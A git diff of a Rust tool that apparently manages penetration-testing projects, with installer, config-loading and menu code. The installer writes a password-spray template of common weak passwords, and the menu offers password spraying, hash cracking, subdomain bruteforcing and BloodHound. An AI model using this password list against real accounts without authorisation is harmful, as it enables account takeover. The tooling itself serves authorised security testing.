||||||
|
let mut project_conf_file = project_conf_res.unwrap();
|
||||||
|
let project_write_res = write!(project_conf_file, "Projects Config File\ndefault:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||||
|
if project_write_res.is_err(){
|
||||||
|
println!("error writing project config file.");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
project_write_res.unwrap();
|
||||||
|
let password_file_res = File::create_new(password_path);
|
||||||
|
if password_file_res.is_err(){
|
||||||
|
println!("error creating password spray file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let mut password_file = password_file_res.unwrap();
|
||||||
|
let password_write_res = write!(password_file, "
|
||||||
|
- [ ] useraspass
|
||||||
|
- [ ] Seasonyear!
|
||||||
|
- [ ] Service123!
|
||||||
|
- [ ] admin
|
||||||
|
- [ ] Admin
|
||||||
|
- [ ] Admin123!
|
||||||
|
- [ ] admin123
|
||||||
|
- [ ] admin1
|
||||||
|
- [ ] 1234567
|
||||||
|
- [ ] Seasonyear
|
||||||
|
- [ ] seasonyear!
|
||||||
|
- [ ] seasonyear
|
||||||
|
- [ ] COMPANYYEAR!
|
||||||
|
- [ ] COMPANYYEAR
|
||||||
|
- [ ] November2024!
|
||||||
|
- [ ] September2024!
|
||||||
|
- [ ] October2024!
|
||||||
|
- [ ] COMPANYfoundingyear!
|
||||||
|
- [ ] COMPANYfoundingyear
|
||||||
|
- [ ] COMPANYstreetnumber!
|
||||||
|
- [ ] COMPANYstreetnumber
|
||||||
|
- [ ] Password
|
||||||
|
- [ ] P@ssw0rd
|
||||||
|
- [ ] Password1!
|
||||||
|
- [ ] Password123!
|
||||||
|
- [ ] Passwordyear!
|
||||||
|
- [ ] P@55w0rd
|
||||||
|
- [ ] Service
|
||||||
|
- [ ] Service!
|
||||||
|
- [ ] Serviceyear!
|
||||||
|
");
|
||||||
|
if password_write_res.is_err(){
|
||||||
|
println!("error writing password file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
password_write_res.unwrap();
|
||||||
|
let current_path_res = env::current_exe();
|
||||||
|
let mut copied_to_path = false;
|
||||||
|
if current_path_res.is_ok(){
|
||||||
|
let current_path = current_path_res.unwrap();
|
||||||
|
let mut new_path = PathBuf::from("/usr/bin/pentest_tool");
|
||||||
|
print_informational("We ar going to try and copy this executable to a location on your $PATH");
|
||||||
|
print_informational("the default location is /usr/bin/pentest_tool");
|
||||||
|
if get_user_input("is this ok?").contains("n"){
|
||||||
|
new_path.clear();
|
||||||
|
new_path.push(get_user_input("ooof, ok. Please enter where you'd like to save it on your $PATH"));
|
||||||
|
if !new_path.display().to_string().contains("pentest_tool"){
|
||||||
|
new_path.push("pentest_tool");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let copy_cmd_res = Command::new("sudo").arg("cp").arg(current_path.display().to_string()).arg(new_path.display().to_string()).status();
|
||||||
|
if copy_cmd_res.is_ok(){
|
||||||
|
let copy_cmd_status = copy_cmd_res.unwrap();
|
||||||
|
if copy_cmd_status.success(){
|
||||||
|
copied_to_path = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !copied_to_path{
|
||||||
|
print_informational("we could not copy this executable to your path!");
|
||||||
|
print_informational("please copy this file to somewhere on your $PATH.");
|
||||||
|
print_informational("for example `cp pentest_tool /usr/bin/pentest_tool");
|
||||||
|
print_success("otherwise this tool is ready to go, you would just need to launch it from this folder.");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success("install completed successfully!");
|
||||||
}
|
}
|
||||||
let config_string = format!("Project_files:{}\nProject_notes:{}\ntools_folder:{}\nupcoming_files:{}\nupcoming_notes:{}\nbox_template:{}\nterminal:{}\ncracking_rig:{}@{}\nrockyou_location:{}\nrule_location:{}\nfingerprint:{}", files_response.trim_end(), notes_response.trim_end(), tools_response.trim_end(), &project_folder_path.trim_end(), &project_note_path.trim_end(), template_name.trim_end(), _terminal_command.trim_end(), cracking_user.trim_ascii_end(), cracking_rig.trim_end(), rockyou.trim_end(), rule.trim_end(), set_fprint);
|
|
||||||
config_file.write_all(config_string.as_bytes()).expect("error writing to config file");
|
|
||||||
let default_projectline = format!("default:default:{}:{}:yes:{}:current", ¬es_response.trim_end(), &files_response.trim_end(), &template_name.trim_end());
|
|
||||||
projects_conf_file.write_all(default_projectline.as_bytes()).expect("error writing default project line");
|
|
||||||
println!("active project folders: {}", &files_response);
|
|
||||||
println!("upcomming project folders: {}", &project_folder_path);
|
|
||||||
println!("active project notes: {}", ¬es_response);
|
|
||||||
println!("upcomming prjoect notes: {}", &project_note_path);
|
|
||||||
println!("tools folder: {}", &tools_response);
|
|
||||||
println!("distrobox template: {}", &template_name);
|
|
||||||
println!("terminal command: {}", &_terminal_command);
|
|
||||||
println!("config file generated and saved to {}\n", config_path.display());
|
|
||||||
|
|
||||||
|
|
||||||
let config_path = &config_folder_path.clone();
|
|
||||||
let mut install_path = config_path.clone();
|
|
||||||
let mut password_spray_template_path = install_path.clone();
|
|
||||||
install_path.push("new_projects.conf");
|
|
||||||
password_spray_template_path.push("passwordspray.md");
|
|
||||||
let pass_file_config_line = format!("\npass_file:{}", password_spray_template_path.display());
|
|
||||||
config_file.write_all(pass_file_config_line.as_bytes()).expect("error writing password spray setting to config file");
|
|
||||||
let mut passpray_file = fs::File::create(password_spray_template_path).expect("error creating passwordspray file");
|
|
||||||
write!(passpray_file, "
|
|
||||||
- [ ] useraspass
|
|
||||||
- [ ] Seasonyear!
|
|
||||||
- [ ] Service123!
|
|
||||||
- [ ] admin
|
|
||||||
- [ ] Admin
|
|
||||||
- [ ] Admin123!
|
|
||||||
- [ ] admin123
|
|
||||||
- [ ] admin1
|
|
||||||
- [ ] 1234567
|
|
||||||
- [ ] Seasonyear
|
|
||||||
- [ ] seasonyear!
|
|
||||||
- [ ] seasonyear
|
|
||||||
- [ ] COMPANYYEAR!
|
|
||||||
- [ ] COMPANYYEAR
|
|
||||||
- [ ] November2024!
|
|
||||||
- [ ] September2024!
|
|
||||||
- [ ] October2024!
|
|
||||||
- [ ] COMPANYfoundingyear!
|
|
||||||
- [ ] COMPANYfoundingyear
|
|
||||||
- [ ] COMPANYstreetnumber!
|
|
||||||
- [ ] COMPANYstreetnumber
|
|
||||||
- [ ] Password
|
|
||||||
- [ ] P@ssw0rd
|
|
||||||
- [ ] Password1!
|
|
||||||
- [ ] Password123!
|
|
||||||
- [ ] Passwordyear!
|
|
||||||
- [ ] P@55w0rd
|
|
||||||
- [ ] Service
|
|
||||||
- [ ] Service!
|
|
||||||
- [ ] Serviceyear!").expect("error writing password spray template");
|
|
||||||
configure_distrobox();
|
|
||||||
std::process::exit(0);
|
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,9 @@
|
|||||||
use std::{io::stdin, path::PathBuf};
|
use std::collections::HashMap;
|
||||||
|
use std::{io::stdin, path::PathBuf, process::Command};
|
||||||
use directories::UserDirs;
|
use directories::UserDirs;
|
||||||
use reqwest::Response;
|
use std::process::exit;
|
||||||
use std::fs;
|
use std::fs::{self, File};
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub struct Project{
|
pub struct Project{
|
||||||
@@ -16,11 +18,148 @@ pub struct Project{
|
|||||||
}
|
}
|
||||||
|
|
||||||
mod install;
|
mod install;
|
||||||
mod menu;
|
|
||||||
mod project_controls;
|
mod project_controls;
|
||||||
mod box_controls;
|
mod box_controls;
|
||||||
mod info_controls;
|
mod info_controls;
|
||||||
mod start_pentest;
|
mod start_pentest;
|
||||||
|
mod cli;
|
||||||
|
mod menu;
|
||||||
|
mod portscan_controls;
|
||||||
|
mod victim_commands;
|
||||||
|
mod enumeration;
|
||||||
|
mod tool_controls;
|
||||||
|
mod configuration;
|
||||||
|
mod exploit;
|
||||||
|
|
||||||
|
pub fn print_error(message: &str ,error: String){
|
||||||
|
println!("{}", message.red());
|
||||||
|
println!("{}", error.red());
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_success<T>(message: T) where T: AsRef<str> {
|
||||||
|
println!("{}", message.as_ref().green());
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_informational<T>(message: T) where T: AsRef<str>{
|
||||||
|
println!("{}", message.as_ref().custom_color((255,165,0)));
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn tableize(given_lines: Vec<String>) {
|
||||||
|
let column_count = given_lines[0].split("||").collect::<Vec<&str>>().len();
|
||||||
|
// the following code just adds a junk line in at index 1 because that gets eaten for some reason...
|
||||||
|
// I want to try to figure out why its getten eaten, but just needed to get it working for now.
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
let mut junk_line = format!("{}", "junk||".repeat(column_count));
|
||||||
|
junk_line.pop();
|
||||||
|
junk_line.pop();
|
||||||
|
for line in given_lines{
|
||||||
|
lines.push(line);
|
||||||
|
}
|
||||||
|
lines.insert(1,junk_line);
|
||||||
|
// end of junk line logic.
|
||||||
|
let (terminal_width, _terminal_height) = term_size::dimensions().unwrap();
|
||||||
|
let mut column_sizes:HashMap<usize, usize> = HashMap::new();
|
||||||
|
for column_number in 0..column_count{
|
||||||
|
column_sizes.insert(column_number, 0);
|
||||||
|
}
|
||||||
|
let mut longest_column = 0;
|
||||||
|
for line in &lines{
|
||||||
|
let cells: Vec<&str> = line.split("||").collect();
|
||||||
|
let mut current_cell: usize = 0;
|
||||||
|
for cell in cells{
|
||||||
|
let cell_length = cell.len() + 2;
|
||||||
|
if column_sizes[¤t_cell] < cell_length{
|
||||||
|
column_sizes.insert(current_cell, cell_length);
|
||||||
|
}
|
||||||
|
if cell_length > longest_column{
|
||||||
|
longest_column = current_cell;
|
||||||
|
}
|
||||||
|
current_cell += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
let longest_line = (column_count*2) - 1;
|
||||||
|
if longest_line > terminal_width{
|
||||||
|
let difference = longest_line - terminal_width - 3;
|
||||||
|
column_sizes.insert(longest_column, column_sizes[&longest_column] - difference);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut header = String::new();
|
||||||
|
let mut outdata = String::new();
|
||||||
|
let mut count = 0;
|
||||||
|
let mut separater = String::new();
|
||||||
|
let ending = format!("{}\n", "|".green());
|
||||||
|
for line in lines{
|
||||||
|
count += 1;
|
||||||
|
//println!("{}", line);
|
||||||
|
let mut add_ending = false;
|
||||||
|
let data_vec: Vec<&str> = line.split("||").collect();
|
||||||
|
let mut column_numbers: Vec<&usize> = column_sizes.keys().collect();
|
||||||
|
column_numbers.sort_by(|a, b| a.cmp(b));
|
||||||
|
for column in column_numbers{
|
||||||
|
let mut data_to_add = String::new();
|
||||||
|
let mut data_vec_len = data_vec[*column].len();
|
||||||
|
if data_vec_len > column_sizes[&longest_column]{
|
||||||
|
while data_vec_len > column_sizes[&longest_column]{
|
||||||
|
data_vec_len = data_vec_len / 2;
|
||||||
|
let (data_vec_start, data_vec_end) = data_vec[*column].split_at(data_vec_len);
|
||||||
|
data_to_add = format!("{}\n{}", data_vec_start, data_vec_end);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
data_to_add = String::from(data_vec[*column]);
|
||||||
|
}
|
||||||
|
let padding = column_sizes[column] - data_vec_len;
|
||||||
|
if count == 1{
|
||||||
|
let formatted_cell = format!("{} {}{}", "|".green(), data_vec[*column].bold().green(), " ".repeat(padding));
|
||||||
|
header.push_str(&formatted_cell);
|
||||||
|
}
|
||||||
|
else if count == 2 {
|
||||||
|
let formatted_cell = format!("{} {} ", "|".green(), "-".repeat(column_sizes[column] - 1).green());
|
||||||
|
separater.push_str(&formatted_cell);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let formatted_cell = format!("{} {}{}", "|".green(), data_to_add, " ".repeat(padding));
|
||||||
|
outdata.push_str(&formatted_cell);
|
||||||
|
add_ending = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if add_ending{
|
||||||
|
outdata.push_str(&ending)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outdata.push_str(&separater);
|
||||||
|
outdata.push_str(&ending);
|
||||||
|
let print_output = format!("{}{}{}{}{}", header, ending, separater, ending, outdata);
|
||||||
|
println!("{}", print_output);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn open_overwrite(path: &PathBuf) -> Option<File>{
|
||||||
|
let file_create_res = fs::OpenOptions::new().create(true).write(true).truncate(true).open(path);
|
||||||
|
if file_create_res.is_err(){
|
||||||
|
let error = file_create_res.err().unwrap();
|
||||||
|
println!("{} {} {}","error opening".red(), path.display().to_string().red(), " file".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let file = file_create_res.unwrap();
|
||||||
|
return Some(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn open_append(path: &PathBuf) -> Option<File>{
|
||||||
|
let file_create_res = fs::OpenOptions::new().create(true).append(true).open(path);
|
||||||
|
if file_create_res.is_err(){
|
||||||
|
let error = file_create_res.err().unwrap();
|
||||||
|
println!("{} {} {}","error opening".red(), path.display().to_string().red(), " file".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let file = file_create_res.unwrap();
|
||||||
|
return Some(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn get_user_input(prompt: &str) -> String{
|
pub fn get_user_input(prompt: &str) -> String{
|
||||||
let mut response = String::new();
|
let mut response = String::new();
|
||||||
@@ -40,7 +179,7 @@ pub fn get_user_input(prompt: &str) -> String{
|
|||||||
|
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
print!("
|
print!("{}","
|
||||||
⠀⠀⠀⣠⠶⠚⠛⠛⠛⠲⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⣠⠶⠚⠛⠛⠛⠲⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⣠⣾⣷⣄⠀⠀⠀⢀⣠⣤⣤⡀⠀⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⣠⣾⣷⣄⠀⠀⠀⢀⣠⣤⣤⡀⠀⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
@@ -59,62 +198,41 @@ fn main() {
|
|||||||
⠀⠀⠀⠀⣀⡀⠀⣰⠇⣾⠀⠀⠈⣩⣥⣄⣿⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⠀⣀⡀⠀⣰⠇⣾⠀⠀⠈⣩⣥⣄⣿⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⠀⢿⡉⠳⡟⣸⠃⠀⠀⠀⠘⢷⣌⠉⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⠀⢿⡉⠳⡟⣸⠃⠀⠀⠀⠘⢷⣌⠉⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⠀⠀⠙⢦⣴⠏⠀⠀⠀⠀⠀⠀⠉⠳⠶⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⠀⠀⠙⢦⣴⠏⠀⠀⠀⠀⠀⠀⠉⠳⠶⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
");
|
".red());
|
||||||
let user_dirs = UserDirs::new().expect("error getting user directories");
|
let mut config_path = PathBuf::new();
|
||||||
let mut config_path = user_dirs.home_dir().to_path_buf();
|
let user_dirs_res = UserDirs::new();
|
||||||
|
if user_dirs_res.is_none(){
|
||||||
|
println!("oof couldn't get the config directory the right way, falling back to the stpuid way...");
|
||||||
|
let get_home_res = Command::new("echo").arg("$HOME").output();
|
||||||
|
if get_home_res.is_err(){
|
||||||
|
println!("ooof the stupid way didn't work... this is a bruh moment, gotta fix your environment variabls!!!");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let get_home_output = get_home_res.unwrap().stdout;
|
||||||
|
let home_string = String::from_utf8_lossy(&get_home_output);
|
||||||
|
config_path.push(home_string.trim());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let user_dirs = user_dirs_res.unwrap();
|
||||||
|
config_path.push(user_dirs.home_dir());
|
||||||
|
}
|
||||||
config_path.push(".config/pyro_pentest_tool/conf");
|
config_path.push(".config/pyro_pentest_tool/conf");
|
||||||
if config_path.as_path().exists() == false{
|
if config_path.as_path().exists() == false{
|
||||||
install::install(&config_path);
|
install::install(&config_path);
|
||||||
}
|
}
|
||||||
let mut project_base_folder = PathBuf::new();
|
|
||||||
let mut project_base_notes = PathBuf::new();
|
|
||||||
let mut tools_folder = PathBuf::new();
|
|
||||||
let mut terminal_command = String::new();
|
|
||||||
let mut box_template = String::new();
|
|
||||||
let mut cracking_rig = String::new();
|
|
||||||
let mut rockyou = String::new();
|
|
||||||
let mut rule = String::new();
|
|
||||||
let mut upcoming_files = PathBuf::new();
|
|
||||||
let mut upcoming_notes = PathBuf::new();
|
|
||||||
let mut pass_spray_file = PathBuf::new();
|
|
||||||
let mut fingerprint = false;
|
|
||||||
println!("\nconfig already generated\nloading config file...\n");
|
println!("\nconfig already generated\nloading config file...\n");
|
||||||
let settings_string = fs::read_to_string(&config_path).expect("error reading config file");
|
let settings = configuration::load_config(&config_path);
|
||||||
let settings: Vec<&str> = settings_string.split("\n").collect();
|
for setting in settings.keys(){
|
||||||
for line in settings{
|
println!("{}: {}", setting, settings[setting].green());
|
||||||
if line.len() > 1{
|
|
||||||
let setting_vec: Vec<&str> = line.split(":").collect();
|
|
||||||
match setting_vec[0]{
|
|
||||||
"Project_files" => project_base_folder.push(setting_vec[1].trim_end()),
|
|
||||||
"Project_notes" => project_base_notes.push(setting_vec[1].trim_end()),
|
|
||||||
"tools_folder" => tools_folder.push(setting_vec[1].trim_end()),
|
|
||||||
"upcoming_files" => upcoming_files.push(setting_vec[1].trim_end()),
|
|
||||||
"upcoming_notes" => upcoming_notes.push(setting_vec[1].trim_end()),
|
|
||||||
"box_template" => box_template = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"terminal" => terminal_command = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"cracking_rig" => cracking_rig = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"rockyou_location" => rockyou = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"rule_location" => rule = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"pass_file"=> pass_spray_file.push(setting_vec[1]),
|
|
||||||
"fingerprint" => {if setting_vec[1].contains("y"){fingerprint = true}},
|
|
||||||
_ => println!("error unknown setting: {}", setting_vec[0])
|
|
||||||
}
|
}
|
||||||
|
println!("{}","loading project configs...".green());
|
||||||
|
let projects_res = project_controls::get_projects(&config_path, true);
|
||||||
|
if projects_res.is_none(){
|
||||||
|
println!("{}", "ERROR NO PROJECTS LOADED!!!".red());
|
||||||
|
println!("{}", "CHECK YOUR PROJECTS.CONF FILE".red());
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
}
|
let mut projects = projects_res.unwrap();
|
||||||
print!("
|
let _continue = get_user_input("press enter to load Command Line Interface");
|
||||||
Project Folders: {}
|
cli::cli(&mut projects, &config_path);
|
||||||
Note Folders: {}
|
|
||||||
Tools Folder: {}
|
|
||||||
distrobox template: {}
|
|
||||||
terminal_command: {}
|
|
||||||
cracking_rig: {}\n
|
|
||||||
upcoming project folders: {}
|
|
||||||
upcoming project notes: {}
|
|
||||||
", &project_base_folder.display(), &project_base_notes.display(), &tools_folder.display(), box_template, terminal_command, cracking_rig, &upcoming_files.display(), &upcoming_notes.display());
|
|
||||||
println!("loading project configs...");
|
|
||||||
let projects = project_controls::get_projects(&config_path);
|
|
||||||
println!("Enter to start main menu");
|
|
||||||
let mut enter = String::new();
|
|
||||||
std::io::stdin().read_line(&mut enter).unwrap();
|
|
||||||
menu::main_menu(projects, config_path, &project_base_folder, &project_base_notes, &tools_folder, box_template, terminal_command, cracking_rig, rockyou, rule, &upcoming_files, &upcoming_notes, &pass_spray_file, fingerprint);
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,57 +1,21 @@
|
|||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::process::exit;
|
use std::thread::JoinHandle;
|
||||||
use chrono::Datelike;
|
use std::collections::HashMap;
|
||||||
use clearscreen::clear;
|
use clearscreen::clear;
|
||||||
use clearscreen;
|
use clearscreen;
|
||||||
use chrono::Local;
|
use colored::Colorize;
|
||||||
|
use crate::get_user_input;
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
use crate::project_controls;
|
use crate::cli;
|
||||||
use crate::box_controls;
|
|
||||||
use crate::info_controls;
|
|
||||||
use crate::start_pentest;
|
|
||||||
|
|
||||||
fn next_project_id(config_path: &PathBuf) -> i32{
|
pub fn main_menu(given_projects: &mut Vec<Project>,
|
||||||
let projects = project_controls::get_projects(config_path);
|
config_path: PathBuf,
|
||||||
let mut new_id = 0;
|
settings: &HashMap<&str, String>
|
||||||
for project in projects.clone(){
|
) -> Option<Vec<JoinHandle<()>>>{
|
||||||
if project.id > new_id{
|
|
||||||
new_id = project.id + 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return new_id;
|
|
||||||
}
|
|
||||||
|
|
||||||
fn get_active_project(projects: &Vec<Project>) -> &Project{
|
|
||||||
let mut active_project = &projects[0];
|
|
||||||
for project in projects{
|
|
||||||
if project.active == true{
|
|
||||||
active_project = project
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return active_project
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn main_menu(mut projects: Vec<Project>, config_path: PathBuf, base_files: &PathBuf, base_notes: &PathBuf, tools_dir: &PathBuf, boxtemplate: String, terminal: String, cracking_rig: String, rockyou: String, rule: String, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, password_spray_file: &PathBuf, fingerprint: bool){
|
|
||||||
let mut loopize = true;
|
let mut loopize = true;
|
||||||
let mut new_id = next_project_id(&config_path);
|
|
||||||
let mut threads = Vec::new();
|
let mut threads = Vec::new();
|
||||||
loop {
|
let mut projects = given_projects.clone();
|
||||||
let active_project = get_active_project(&projects);
|
let banner = "
|
||||||
let mut response = String::new();
|
|
||||||
let now = Local::now();
|
|
||||||
let month = now.month();
|
|
||||||
let year = now.year();
|
|
||||||
let mut season = String::new();
|
|
||||||
let mut lseason = String::new();
|
|
||||||
match month{
|
|
||||||
12 | 01 | 02 => {season = "Winter".to_owned(); lseason = "Fall".to_owned()},
|
|
||||||
03 | 04 | 05 => {season = "Spring".to_owned(); lseason = "Winter".to_owned()},
|
|
||||||
06 | 07 | 08 => {season = "Summer".to_owned(); lseason = "Spring".to_owned()},
|
|
||||||
09 | 10 | 11 => {season = "Fall".to_owned(); lseason = "Summer".to_owned()},
|
|
||||||
_ => {println!("error getting season! Check code..."); exit(1)}
|
|
||||||
}
|
|
||||||
clear().expect("error clearing screen");
|
|
||||||
print!("
|
|
||||||
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||||
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||||
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
||||||
@@ -88,35 +52,27 @@ pub fn main_menu(mut projects: Vec<Project>, config_path: PathBuf, base_files: &
|
|||||||
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
||||||
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
||||||
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
||||||
___ __ __ ___ __ ___ __
|
";
|
||||||
| | |__ | / ` / \\ |\\/| |__ |__| /\\ / ` |__/ |__ |__)
|
while loopize {
|
||||||
|/\\| |___ |___ \\__, \\__/ | | |___ | | /~~\\ \\__, | \\ |___ | \\
|
let _enter_to_clear = get_user_input("press enter to display main menu.");
|
||||||
|
clear().expect("error clearing screen");
|
||||||
|
print!("
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
|
||||||
__ ___ ___ __ __
|
\n", banner.custom_color((255,165,0)), "
|
||||||
/ _` |__ | |__) | | |\\ | | |\\ | / _`
|
___ ___ _ ___ ___
|
||||||
\\__> |___ | | |/\\| | \\| | | \\| \\__>
|
| \\/ | (_) | \\/ | _
|
||||||
|
| . . | __ _ _ _ __ | . . | ___ _ __ _ _(_)
|
||||||
|
| |\\/| |/ _` | | '_ \\ | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
|
| | | | (_| | | | | | | | | | __/ | | | |_| |_
|
||||||
NOTE OPTION 18 WILL SAVE YOUR PROJECTS BEFORE QUITTING
|
\\_| |_/\\__,_|_|_| |_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
|
|
||||||
base prject folder: {}
|
|
||||||
upcoming project folder: {}
|
|
||||||
Current Project: {} {}
|
|
||||||
Working Folder: {}
|
|
||||||
Notes Folder: {}
|
|
||||||
Box Name: {}
|
|
||||||
Terminal Command: {}
|
|
||||||
Current Season: {}
|
|
||||||
Year: {}
|
|
||||||
|
|
||||||
Main Menu:
|
|
||||||
1 .) Show Active Project
|
1 .) Show Active Project
|
||||||
2 .) List Projects
|
2 .) List Projects
|
||||||
3 .) Switch Active Project
|
3 .) Switch Active Project
|
||||||
4 .) create new project with Pyro's default tool
|
4 .) create new project with Pyro's default layout
|
||||||
5 .) Save Project Information
|
5 .) Save Project Information
|
||||||
6 .) Import New Project - and setup new Distrobox
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
7 .) Remove Project
|
7 .) Remove Project
|
||||||
8 .) Print upcoming projects
|
8 .) Print upcoming projects
|
||||||
9. ) promote project from upcoming to current
|
9. ) promote project from upcoming to current
|
||||||
@@ -124,71 +80,217 @@ Year: {}
|
|||||||
11.) Open A Terminal In this windows for the current active project
|
11.) Open A Terminal In this windows for the current active project
|
||||||
12.) open current project's cobalt strike
|
12.) open current project's cobalt strike
|
||||||
13.) re-create the distrobox for the current active project
|
13.) re-create the distrobox for the current active project
|
||||||
14.) Open Project Files Folder In Dolphin
|
14.) generate userpass file from your obsidian notes
|
||||||
15.) Open Project Notes Folder In Dolphin
|
15.) run pyro's initail enum script on a nessus csv for the current project
|
||||||
16.) generate userpass file from your obsidian notes
|
16.) build external attack notes from host notes
|
||||||
17.) run pyro's initail enum script on a nessus csv for the current project
|
17.) Build host discovery cmd command from scope in notes
|
||||||
18.) Print Project Info For Report
|
18.) build portscan command from scope in notes
|
||||||
19.) Build host discovery cmd command from scope in notes
|
19.) parse a cs portscan services.tsv file
|
||||||
20.) build portscan command from scope in notes
|
20.) Stop All Distroboxes
|
||||||
21.) Stop All Distroboxes
|
21.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
22.) Password Spray (will print password to spray, and wait the obervation window time)
|
22.) Launch bloodhound with the current project's distrobox
|
||||||
23.) crack password hashes on your cracking rig
|
23.) Parse GatherContacts output file
|
||||||
24.) Launch bloodhound with the current project's distrobox
|
24.) prune unused distroboxes (free up system storage)
|
||||||
25.) prune unused distroboxes (free up system storage)
|
25.) Gather DNS Records
|
||||||
26.) Quit Application
|
26.) Bruteforce Subdomains
|
||||||
\n",&base_files.display(), &upcoming_files.display(), active_project.customer, active_project.project_name, active_project.files_folder.display(), active_project.notes_folder.display(), active_project.boxname, terminal, season, year);
|
27.) Do all DNS enumeration
|
||||||
std::io::stdin().read_line(&mut response).expect("error getting menu input");
|
28.) enter external only menu
|
||||||
|
29.) enter internal only menu
|
||||||
|
30.) exit menu
|
||||||
|
".custom_color((255,165,0)));
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
